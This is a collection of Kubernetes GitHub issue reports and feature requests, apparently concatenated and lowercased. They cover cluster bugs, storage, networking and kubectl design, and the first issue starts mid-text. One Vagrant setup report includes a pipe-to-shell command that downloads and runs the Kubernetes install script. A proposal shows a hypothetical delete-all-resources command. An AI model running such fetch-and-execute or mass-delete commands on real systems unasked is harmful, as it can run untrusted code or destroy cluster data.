staging/my-service: unable to find instance \ ip-10-0-0-77.eu-west-1.compute.internal\    11m       1m      142 {service-controller }           warning     creatingloadbalancerfailed  error creating load balancer  will retry : failed to create load balancer for service staging/my-service: unable to find instance \ ip-10-0-0-145.eu-west-1.compute.internal\

the behavior has changed between the alpha and beta annotations  .kubernetes.io/storage-class , and using the beta annotation.\r   using the alpha annotation, a pv is provisioned irrespective of the \ value\  supplied.\r   using the beta annotation, a pv is not provisioned unless a storageclass of that name exists on the server.\r \r http://blog.kubernetes.io/2016/10/dynamic-provisioning-and-storage-in-kubernetes.html mentions that the alpha annotation is depreciated and that one should use the beta annotation.\r however, the documentation says that the alpha annotation has \ beta level support\   http://kubernetes.io/docs/user-guide/persistent-volumes/ writing-portable-configuration \r \r we could do the following:\r   continue to use the alpha annotation.\r   move to use the beta annotation but recommend that the user create a storageclass explicitly in their cluster.\r   have users create a default storage class and have no annotation in examples.\r \r what's the recommended way of presenting examples with dynamic volume provisioning?\r \r @saad-ali @kubernetes/sig-storage \r /cc @erictune @janetkuo @enisoc @kow3ns

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no.\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r - kubectl storageclass\r - kubectl storageclasses\r \r ---\r \r   is this a bug report or feature request?    choose one : bug\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    sh\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:57:05z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : minikube v0.15.0\r -   os    e.g. from /etc/os-release : fedora release 25  twenty five \r -   kernel    e.g.  uname -a  : 4.9.3-200.fc25.x86_64\r \r   what happened  :\r \r    sh\r $ kubectl get storageclasses --all-namespaces=true\r namespace        name                      type\r slow  default    kubernetes.io/host-path   \r    \r \r   what you expected to happen  :\r either an error that namespaces and storageclasses don't mix, or an empty namespace column, or a missing namespace column : \r \r   how to reproduce it    as minimally and precisely as possible :\r 1. define one or more storage classes\r 2. run  kubectl get storageclasses --all-namespaces=true \r \r   anything else do we need to know  :\r \r cosmetic issue, i think i've also seen it in some other similar cases but missed to record them : \r \r

kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:38:40z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:32:42z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r - aws\r - ubuntu 16.04.01\r - linux ip-10-12-8-20 4.4.0-45-generic  66-ubuntu smp wed oct 19 14:12:37 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r - installed via salt\r  - calico used for both networking and security policy\r \r   what happened  :\r \r we have a 27 node cluster. in that cluster there are nodes that will continually move from ready to notready status.\r \r there are logs like this on the offending nodes.\r    \r jan 25 18:27:56 ip-10-12-8-27 kubelet 16163 : e0125 18:27:56.153023 16163 kubelet_network.go:388  failed to ensure marking rule for kube-mark-masq: error checking rule: exit status 4: iptables: resource temporarily unavailable.\r jan 25 18:30:58 ip-10-12-8-27 kubelet 16163 : e0125 18:30:58.170282 16163 kubelet_network.go:354  failed to ensure marking rule for kube-mark-drop: error checking rule: exit status 4: iptables: resource temporarily unavailable.\r jan 25 18:34:02 ip-10-12-8-27 kubelet 16163 : e0125 18:34:02.569152 16163 kubelet_network.go:276  error on adding ip table rules: failed to ensure masquerading for nat chain postrouting: error checking rule: exit status 4: iptables: resource temporarily unavailable.\r jan 25 18:34:02 ip-10-12-8-27 kubelet 16163 : i0125 18:34:02.724232 16163 kubelet.go:2237  skipping pod synchronization -  error on adding ip table rules: failed to ensure masquerading for nat chain postrouting: error checking rule: exit status 4: iptables: resource temporarily unavailable.\r jan 25 18:34:07 ip-10-12-8-27 kubelet 16163 : i0125 18:34:07.727389 16163 kubelet.go:2237  skipping pod synchronization -  error on adding ip table rules: failed to ensure masquerading for nat chain postrouting: error checking rule: exit status 4: iptables: resource temporarily unavailable.\r jan 25 18:34:12 ip-10-12-8-27 kubelet 16163 : i0125 18:34:12.727590 16163 kubelet.go:2237  skipping pod synchronization -  error on adding ip table rules: failed to ensure masquerading for nat chain postrouting: error checking rule: exit status 4: iptables: resource temporarily unavailable.\r jan 25 18:34:17 ip-10-12-8-27 kubelet 16163 : i0125 18:34:17.727782 16163 kubelet.go:2237  skipping pod synchronization -  error on adding ip table rules: failed to ensure masquerading for nat chain postrouting: error checking rule: exit status 4: iptables: resource temporarily unavailable.\r jan 25 18:34:22 ip-10-12-8-27 kubelet 16163 : i0125 18:34:22.727981 16163 kubelet.go:2237  skipping pod synchronization -  error on adding ip table rules: failed to ensure masquerading for nat chain postrouting: error checking rule: exit status 4: iptables: resource temporarily unavailable.\r jan 25 18:34:27 ip-10-12-8-27 kubelet 16163 : i0125 18:34:27.728242 16163 kubelet.go:2237  skipping pod synchronization -  error on adding ip table rules: failed to ensure masquerading for nat chain postrouting: error checking rule: exit status 4: iptables: resource temporarily unavailable.\r jan 25 18:34:32 ip-10-12-8-27 kubelet 16163 : i0125 18:34:32.728448 16163 kubelet.go:2237  skipping pod synchronization -  error on adding ip table rules: failed to ensure masquerading for nat chain postrouting: error checking rule: exit status 4: iptables: resource temporarily unavailable.\r jan 25 18:37:04 ip-10-12-8-27 kubelet 16163 : e0125 18:37:04.902849 16163 kubelet_network.go:354  failed to ensure marking rule for kube-mark-drop: error checking rule: exit status 4: iptables: resource temporarily unavailable.\r    \r \r cursory research into the error makes me think that the kubelet is experiencing some contention when trying to create/maintain it's iptables rules.\r \r there is plenty of available ram on these nodes and they only have about 4000 iptables rules\r \r    \r root@ip-10-12-8-27:~  free\r               total        used        free      shared  buff/cache   available\r mem:       32946412     4451972    12846604       19436    15647836    28096184\r swap:             0           0           0\r \r root@ip-10-12-8-27:~  iptables-save  |grep -c \\\\-a\r 3721\r    \r \r   what you expected to happen  :\r \r kubelets should stay ready.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r unable to reproduce on other clusters.\r \r   anything else do we need to know  :\r \r

kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t22:51:55z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : azure\r -   os    e.g. from /etc/os-release : centos linux 7  core \r -   kernel    e.g.  uname -a  : linux node1 3.10.0-514.16.1.el7.x86_64  1 smp wed apr 12 15:04:24 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : kubeadm\r -   others  :\r nodes in differente azure regions.\r   what happened  :\r kube-proxy logs are showing user \ system:serviceaccount:kube-system:kube-proxy\  cannot list services at the cluster scope.\r \r   what you expected to happen  :\r no errors in kube-proxy logs\r \r   how to reproduce it    as minimally and precisely as possible :\r kubectl -n kube-system logs <kube-proxy pod>\r \r   anything else we need to know  :\r executing the following command eliminates the error from the logs.\r  kubectl create rolebinding kube-proxy-list --clusterrole=view --serviceaccount=kube-system:kube-proxy --namespace=kube-system \r

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : federation dns service delete \r \r ---\r \r   is this a bug report or feature request?    choose one : bug\r \r   kubernetes version    use  kubectl version  : 1.6.4\r \r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r \r \r   what happened  : if i create a federated service that's deployed across my three clusters, then go and delete the service from one of the underlying cluster, then delete the service at the federation controller level, the controller enters a seemingly infinite loop of failing to delete the service. i see the following in the controller logs:\r    e0613 14:40:53.045269       1 servicecontroller.go:1011  failed to delete &service{objectmeta:k8s_io_apimachinery_pkg_apis_meta_v1.objectmeta{name:kube-lego-proxy,generatename:,namespace:default,selflink:/api/v1/namespaces/default/services/kube-lego-proxy,uid:d36569cf-4fb9-11e7-800c-0a580a0c1b07,resourceversion:475464,generation:0,creationtimestamp:2017-06-12 21:55:19 +0000 utc,deletiontimestamp:2017-06-13 14:40:20 +0000 utc,deletiongraceperiodseconds: 0,labels:map string string{},annotations:map string string{},ownerreferences:  ,finalizers: federation.kubernetes.io/delete-from-underlying-clusters ,clustername:,},spec:servicespec{ports: { tcp 8080 {0 8080 } 32626} ,selector:map string string{},clusterip:,type:nodeport,externalips:  ,deprecatedpublicips:  ,sessionaffinity:none,loadbalancerip:,loadbalancersourceranges:  ,externalname:,},status:servicestatus{loadbalancer:loadbalancerstatus{ingress:  ,},},}: waiting for object kube-lego-proxy to be deleted from clusters: us-central   \r \r this is repeated forever. the problem is, each time this log entry is repeated, the controller makes at least one request to the gcp dns api. since my quota is 50k requests, it blows through this in about 10 minutes and renders the federation controller inoperable  can't delete or create new services . \r \r \r   what you expected to happen  : the service resource should be deleted normally.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r 1  create a federated service\r 2  delete the created service from one underlying cluster\r 3  delete the service from federation\r 4  watch the carnage\r \r another thing of interest is that the underlying service that was deleted before the federated deletion occurred ends up with a finalizer on it  wait for \ delete from underlying cluster\  .\r

@vishh pointed out that for scheduling and kubelet admission, we should consider resources of terminated-but-not-yet-deleted pods to still be in use, because it may take an arbitrary amount of time for the system to deallocate resources. we didn't check to see if this is currently how it is implemented or not.\r \r cc/ @vishh @bsalamat \r \r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r   construct a string for labels, and let  parselabels    https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/generate.go l176  consume it.  for example, suppose label string is  =abc , then this function will return a map  labels \ \  =\ abc\   which indicates a label  \ \ =abc . \r \r   construct a string for portprotocols, and let  parseprotocols    https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/generate.go l147  consume it.  for example, suppose portprotocols string is  /tcp, 123/ , then this function will return a map  \ \  = tcp, 123 = \ \   which indicates a  <port, protocol>  pair  \ \ =tcp, 123=\ \  . \r \r \r   what you expected to happen  :\r \r   i assume the key of  a label should not be an empty string since it makes no sense.\r \r   i assume neither the  port  nor the  protocol  of   <port, protocol>  pair should not be an empty string since it makes no sense.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /area kubectl\r

currently it only collects docker log.\r \r @kubernetes/sig-node-feature-requests

example: if you add an initcontainer to a pod, you have to set fields that ought to have system-applied defaults.\r \r it is not future-safe for webhook authors to supply their own defaults, therefore i believe we should fix this and backport it.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r  \r plan to remove rescheduler\r \r for pods generated by ds controller, if we use default-scheduler for scheduling, since  preemption is going to beta in 1.11, we except the preemption to happen but as of now, the  scheduling ds pods by default scheduler  is still in alpha and we need to rely on rescheduler to make enough space for pods scheduled by ds controller. once it moves to beta, we should remove rescheduler. \r \r xref: https://github.com/kubernetes/kubernetes/issues/57471\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r   /area kube-proxy\r /area ipvs\r /assign @honkiko\r \r   what happened  :\r when externaltrafficpolicy=local, all endpoint addresses are added as realserver for the nodeport vs.\r when accessing nodeport, if the request is directed to an   remote    pod, the response will not go back to the node because it's not masqueraded. client will see a timeout.\r \r   what you expected to happen  :\r only local endpoint addresses are added as rs for nodeport vs.\r \r   how to reproduce it  as minimally and precisely as possible   :\r start kube-proxy with --proxy-mode=ipvs and correct --hostname-override  same as node name .\r create an service with type=nodeport and externaltrafficpolicy=local\r access the nodeport multiple times.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  commit 0ff24a29c0 \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

flaky job: pr:pull-kubernetes-e2e-gce  flakes in the past week:   37    consistency:   92.30%         flakiest tests by flake count: | test | flake count | | --- | --- | |  sig-apps  cronjob should remove from active list jobs that have been deleted | 20 | |  sig-api-machinery  garbage collector should orphan rs created by deployment when deleteoptions.propagationpolicy is orphan  conformance  | 13 | |  sig-api-machinery  garbage collector should not be blocked by dependency circle  conformance  | 13 |       previously closed issues for this job flaking:  54102  62592  56736  52215  52216   /assign @soltysh   <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | soltysh |  sig-apps  cronjob should remove from active list jobs that have been deleted | | sig/apps |  sig-apps  cronjob should remove from active list jobs that have been deleted |  </details><br>   flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

@justinlindh was interested in using user subcontainers for cgi processes.   irc conversation  https://botbot.me/freenode/google-containers/2014-10-03/?msg=22824450&page=7   /cc @rjnagal @vmarmol @vishh

i am following the steps in http://kubernetes.io/docs/getting-started-guides/vagrant/ to run a kubernetes cluster with vagrant.   i have installed latest vagrant  version 1.8.1  and vagrant-libvirt on ubuntu 14.04. my libvirt version is 1.2.2.  i ran the following steps and see that kube-up.sh fails with a \ parent directory not present\  error. am i missing anything ?      $ export kubernetes_provider=vagrant  $ curl -ss https://get.k8s.io | bash  $ cd kubernetes  $ export kubernetes_provider=vagrant  $ ./cluster/kube-up.sh ==> master:  error   {'pid': 4492, 'retcode': 1, 'stderr': '/tmppr9bng.sh: line 21: debug: unbound variable', 'stdout': ''} ==> master:  error   parent directory not present ==> master:  error   parent directory not present  ==> master: id: pkg-core ==> master: ---------- ==> master: id: kubernetes-cert ==> master: function: cmd.script ==> master: result: false ==> master: comment: command 'kubernetes-cert' run ==> master: started: 02:30:32.004550 ==> master: duration: 107.322 ms ==> master: changes:  ==> master: ---------- ==> master: pid: ==> master: 4492 ==> master: retcode: ==> master: 1 ==> master: stderr: ==> master: /tmppr9bng.sh: line 21: debug: unbound variable ==> master: stdout: ==> master: ---------- ==> master: id: /srv/kubernetes/known_tokens.csv ==> master: function: file.managed ==> master: result: false ==> master: comment: parent directory not present ==> master: started: 02:30:32.234559 ==> master: duration: 1.59 ms ==> master: changes:  ==> master: ---------- ==> master: id: /srv/kubernetes/basic_auth.csv ==> master: function: file.managed ==> master: result: false ==> master: comment: parent directory not present ==> master: started: 02:30:32.666819 ==> master: duration: 1.92 ms ==> master: changes: $

the official kubernetes walkthrough guide often points to the guestbook application as a starting point for deploying a simple, but complete, multi-tier web application. the only thing is that the frontend is implemented in php. i think it would be much more useful and relatable if there existed an example implementation with a more modern paradigm/framework  node.js, flask/django, rails, etc.   i have re-implemented the frontend of the guestbook example with a multi-container pod, serving flask with a uwsgi server, and serving static files   index.html ,  controllers.js   using nginx. the example lives in my fork: https://github.com/ltiao/kubernetes/tree/master/examples/guestbook-flask i provide a comprehensive walkthrough of the process here: http://louistiao.me/posts/re-implementing-the-kubernetes-guestbook-example-with-flask-and-nginx/  if there is any value in incorporating this example implementation into the official repo, i would be glad to submit a pr :

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2489/ failed:  k8s.io  emptydir volumes should support  root,0777,tmpfs   conformance   volume  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/empty_dir.go:77 expected error:     < errors.errorstring | 0xc4200ef980>: {         s: \ failed to get logs from pod-2ef245c2-080a-11e7-9502-42010a80000f for test-container: an error on the server  \\\ unknown\\\   has prevented the request from succeeding  get pods pod-2ef245c2-080a-11e7-9502-42010a80000f \ ,     }     failed to get logs from pod-2ef245c2-080a-11e7-9502-42010a80000f for test-container: an error on the server  \ unknown\   has prevented the request from succeeding  get pods pod-2ef245c2-080a-11e7-9502-42010a80000f  not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2195

when generating docs and clients, we need to know of an object is namespaced or not.  currently this is parsed using regex hacks from the operationids.

amazon recently introduced host based routing for elb v2.  kubernetes should support modifying rules on one or more elb instances to add host matching routes to kubernetes services, in addition to its existing support for creating and removing entire dynamic elb instances.  this has at least a couple of benefits:\r \r - tighter security, as k8s could be granted iam access just to the createrule/deleterule operations.\r - eases dns usage.  we could bind dns cnames to the single elb instance, rather than needing to wait for the dynamic name of the elb instance after k8s creates it.\r

flaky job: pr:pull-kubernetes-e2e-gce-etcd3  flakes in the past week:   125    consistency:   81.70%         flakiest tests by flake count: | test | flake count | | --- | --- | | teardown | 52 | |  k8s.io  garbage collector should orphan pods created by rc if delete options say so | 43 | |  k8s.io  deployment deployment should support rollover | 43 |       previously closed issues for this job flaking:  46741  47220    <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | fabioy |  k8s.io  garbage collector should orphan pods created by rc if delete options say so | | kargakis |  k8s.io  deployment deployment should support rollover | | sig/cluster-lifecycle |  k8s.io  garbage collector should orphan pods created by rc if delete options say so | | sig/apps |  k8s.io  deployment deployment should support rollover |  </details><br>   flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r we run kcm  kubernetes controller manager  and kubelet with cloud-provider=external flag; ccm  cloud controller manager  runs as a separate service. first it was noticed that this  code  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/cloud/node_controller.go l275   sometimes doesn't exercise. happens because taintexternalcloudprovider thats gets set when cloud-provider=external specified, gets reset before init is called on ccm.\r \r @wlan0 \r here are the logs from kcm/apiserver/kubelet/scheduler\r  logs.tar.gz  https://github.com/kubernetes/kubernetes/files/1198466/logs.tar.gz \r \r \r   what you expected to happen  :\r taintexternalcloudprovider should remain on the node till ccm resets it.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1  start kubelet and kcm with cloud-provider=external. do not start ccm. \r 2  as no ccm is in the picture, taintexternalcloudprovider should never be removed. yet it happens.\r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.2\r - cloud provider or hardware configuration  : rancher as an external cloud controller manager\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

i found a yaml file about resource node, like this:\r \r    \r apiversion: v1beta3\r kind: node\r metadata:\r   name: 10.5.39.42\r   resource:\r     capacity:\r       cpu: 1000\r       memory: 1021888\r   labels:\r     environment: production\r     name: node1\r     role: web\r    \r \r in this file, it limits the cpu and memory number. when i created a node.yaml file like this, it failed. the api version v1beta3 have not the field resource. \r \r \r    \r apiversion: v1\r kind: node\r metadata:\r   annotations:\r     node.alpha.kubernetes.io/ttl: \ 0\ \r     volumes.kubernetes.io/controller-managed-attach-detach: \ true\ \r   creationtimestamp: 2017-08-08t09:58:51z\r   labels:\r     beta.kubernetes.io/arch: amd64\r     beta.kubernetes.io/os: linux\r     kubernetes.io/hostname: 10.77.9.65\r   name: 10.77.9.65\r   namespace: \ \ \r   resourceversion: \ 976790\ \r   selflink: /api/v1/nodes/10.77.9.65\r   uid: 2e7f5f82-7c20-11e7-bdf3-1c98ec1a80c0\r spec:\r   externalid: 10.77.9.65\r status:\r   addresses:\r   - address: 10.77.9.65\r     type: internalip\r   - address: 10.77.9.65\r     type: hostname\r   allocatable:\r     cpu: \ 32\ \r     memory: 31602936ki\r     pods: \ 3\ \r   capacity:\r     cpu: \ 32\ \r     memory: 32651512ki\r     pods: \ 3\ \r   conditions:\r   - lastheartbeattime: 2017-08-09t12:34:34z\r     lasttransitiontime: 2017-08-09t10:18:10z\r     message: kubelet has sufficient disk space available\r     reason: kubelethassufficientdisk\r     status: \ false\ \r \r    \r above is my node info, how can i modify the default cpu and memory . the default number of pods is 110, when i start the kubelet service , add the param --max-pods=3 . now the max number of pods have been 3. how can i modify the default cpu and memory? thanks you.\r

this includes updating  hack/test-update-storage-objects.sh  with a test to switch off  extensions/v1beta1  in order to verify that  networking.k8s.io/v1  keeps working, compare https://github.com/kubernetes/kubernetes/pull/50327 discussion_r132570895.\r

 \r when kubelet restarts, there is a reconstruction process in volume manager's reconciler.  issue  33203 explains the reason why reconstruction of volume spec is needed after kubelet restarts. \r the volume spec uses the directory name for reconstruction. however, the directory name left on disk is not sufficient to reconstruct volume spec for some plugins such as glusterfs, flexvolume, fc, iscsi, vsphere, etc. we have the following issues with current approach.\r \r 1.  for some volume plugins, we use fake information to put into the actual state, which might cause problem during volume clean up  detach or unmount  because mount path will not be reconstructed correctly. for glusterfs, it requires to get endpoint api object with endpoint name when creating mounter. because we could not get endpoint information from disk directory, so the reconstruction process will fail.\r  \r 2. after kubelet restarts, desired state is populated first by listing all the pods and their volumes. we intended to not update the actual state if desired state already has the volume. however, because volume might be deleted from the desired state anytime. if at a point neither desired state and actual state has the volume information, node status updater might mark this volume is not in use which cause detach happen. so, current code does update actual state even if desired state already has this information for once after kubelet restarts. for some volume plugins such as flex volume, the reconstruction code does not check mount point exist or not. if in case the node restarts, even if mounts are gone, actual state still updates the volume which cause reconciler will never mount the volume even through mount points do not exist. there is a pr for fixing this issue by adding a check for mount points during reconstruction process. https://github.com/kubernetes/kubernetes/pull/51985\r \r proposed solution:\r \r we already lists the reasons for volume reconstruction when kubelet restarts. however, due to the above issued, i am proposing to have a different reconstruct process. the main point of reconstruction is that a  mounted volume will be marked as volumeinuse in node status b  mounted volume will be cleaned up if no longer needed. for a , only volume unique name is needed. for b  only the mount points  bind mount and global mount  are needed. all these information could be retrieved by reading the directory and mount points in the system. it is not necessary to go through the actual state and try to reconstruct all the information used by the state. when kubelet restarts, we can use a separate cache  called existingvolumesfromdisk  to store the volume name and their mounts. node status updater will also include the volumes from this cache into volumeinuser update. reconciler will also scans the list from existingvolumesfromdisk. if the volume does not exist in either pending operation, actual state, or desired state, reconciler will unmount the volume with the mount path.\r

now that discovery is complete as an api, and crd and aggregation are in heavy use, we need to make some minor tweaks to kubectl to improve discoverability of apis from clients.\r \r common issues:\r \r 1. i want to see all resources that i might be able to create\r 2. i want to be able to disambiguate conflicting resources\r 3. i want to distinguish between cluster scoped and non-cluster scoped resources\r 4. i want an equivalent to the  all  shortcut that is actually all resource types that are namespace scoped\r \r we want to orient brand new users to kubectl from a config perspective into:\r \r 1. what can i  get \r 2. if i want to create a config resource, how do i specify it   explain , which could be better \r 3. i want to know what a resource is  for \r \r some thoughts:\r \r 1.  kubectl api-versions  is too simple, and needs to be better or removed\r 2. there should be a command that makes it easy to see the list of:\r     1. all namespace scoped resources\r     2. all cluster scoped resources\r     3. the shortcuts of those resources\r     4. what the resource does  potentially as a  -v  option \r     5. a brief discussion of how to deal with version conflicting names  pod v1beta.special.bar and pod v1 \r     6. potentially what versions exist for those resources\r 3.  explain  and  get  should suggest that command when you specify something it doesn't recognize\r 4. we could piggyback this into get except discovery resources aren't quite a format api, so it would be somewhat hacky.  however, get and describe already work so a few special cases aren't terrible  we did reserve apigrouplist v1 and apigroup v1 \r \r hypothetical\r \r    \r $ kubectl get apigroups\r name      versions  resources\r autoscaling v1         horizontalpodautoscaler\r \r $ kubectl describe apis\r api groups\r   autoscaling:\r     v1: \r        resources: horizontalpodautoscaler\r     v2:\r        ...\r \r $ kubectl get apis\r name      versions  resources\r autoscaling v1         horizontalpodautoscaler\r \r $ kubectl apis\r group      versions  resources\r autoscaling v1         horizontalpodautoscaler\r \r $ kubectl apis --group=autoscaling --version=v1\r group      versions  resources\r autoscaling v1         horizontalpodautoscaler\r \r $ kubectl explain\r error: you must select a resource type to explain:\r \r    nicely formatted two column table - one for namespace scoped and one for cluster scoped\r    \r \r it should be easy to select all namespaced resources from a command - we should add:\r \r    \r $ kubectl get all-namespaced --all\r $ kubectl describe all-namespaced\r $ kubectl delete all-resources --all\r    \r \r we can't change  all  because of backwards compatibility  anyone with  kubectl delete all --all  would be broken if we change what all covers , but also because it's deliberately short to remain easy to type for end users.\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r when i restart kube master, i found there are two pods ips are same, one is controlled by deployment, and the other by statefulsets, which pod status was completed.\r   what you expected to happen  :\r pods ip should be different.\r   how to reproduce it  as minimally and precisely as possible   :\r restart master node.\r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:52:23z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:40:06z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r - kernel  e.g.  uname -a  :\r linux k8s-test-bk-1 3.10.0-693.21.1.el7.x86_64  1 smp wed mar 7 19:03:37 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r flanneld:v0.9.1

   \r if i have a readwritemany pvc in the cluster ,maybe i wanna to mount the same pvc on all of the pods which are controlled by the statefulset. and in the same time i must make the name of pods obey some rules.

while storage-sig was discussing dynamic provisioning, we found a need for a description field on a new api object. it would be a human readable description for the object. @thockin proposed that instead of adding an explicit first-class description field for a specific object, why not have an annotation with a known key   k8s.io/description ?  that can be added to any api object.  kubectl describe  could be modified to print this field if it was present on any object.   cc @eparis @thockin @matchstick @kubernetes/kube-api @kubernetes/sig-storage

